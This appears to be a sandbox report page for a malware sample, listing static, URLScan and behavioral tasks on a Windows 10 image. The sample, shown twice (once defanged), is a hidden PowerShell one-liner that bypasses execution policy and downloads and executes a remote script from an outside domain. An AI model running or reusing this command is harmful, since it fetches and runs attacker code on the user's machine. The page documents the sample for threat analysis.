hxxp://C[:]\WINDOWS\system32\WindowsPowerShell\v1[.]0\PowerShell[.]exe' -w h -ep bypass -c 'iex((iwr hxxps[://]tin[.]tokyo77hit[.]com/update[.]ps1 -UseBasicParsing -UserAgent Mozilla/5[.]0 (Windows NT 10[.]0; Win64; x64) AppleWebKit/537[.]36 Safari/537[.]36 Edg/144[.]0[.]0[.]0)[.]Content)

Static task

static1

URLScan task

urlscan1

Behavioral task

behavioral1

Sample

http://C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe' -w h -ep bypass -c 'iex((iwr hxxps://tin.tokyo77hit.com/update.ps1 -UseBasicParsing -UserAgent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/144.0.0.0).Content)

Resource

win10v2004-20260513-en

windows10-2004-x64

12 signatures

600 seconds

discovery

Sharing

General

Malware Config

Signatures

File Explorer